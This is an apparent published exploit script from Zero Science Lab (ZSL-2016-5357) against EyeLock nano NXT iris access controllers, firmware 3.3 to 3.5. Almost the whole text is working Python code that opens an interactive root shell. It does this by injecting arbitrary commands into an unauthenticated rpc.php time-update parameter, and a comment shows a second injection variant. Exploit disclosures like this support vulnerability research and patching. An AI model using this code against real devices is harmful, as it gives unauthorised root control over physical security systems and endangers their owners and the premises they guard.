EyeLock nano NXT 3.3-3.5 unauthenticated command injection vulnerabilities

                                                import re,sys,os
import requests
 
piton = os.path.basename(sys.argv[0])
 
print '''
---------------------------------------------------------
EyeLock nano NXT <=3.5 [Open Sesame] Remote Root Exploit
 
         Zero Science Lab - http://zeroscience.mk
                      ZSL-2016-5357
 
---------------------------------------------------------
'''
 
if len(sys.argv) < 2:
    print '\n\x20\x20[*] Usage: '+piton+' <ipaddress>\n'
    sys.exit()
 
ipaddr = sys.argv[1]
 
print
while True:
    try:
        cmd = raw_input('root@'+ipaddr+':~# ')
        # http://EyelockNxtMasterIP/scripts/rpc.php?action=updatelocaltime&localtime=%26whoami%26
        execute = requests.get('http://'+ipaddr+'/scripts/rpc.php?action=updatetime&timeserver=||'+cmd)
        pattern = re.compile(r'updatetime\|(.*?)\|',re.S|re.M)
        cmdout = pattern.match(execute.text)
        print cmdout.groups()[0].strip()
        print
        if cmd.strip() == 'exit':
            break
    except Exception:
        break
 
sys.exit()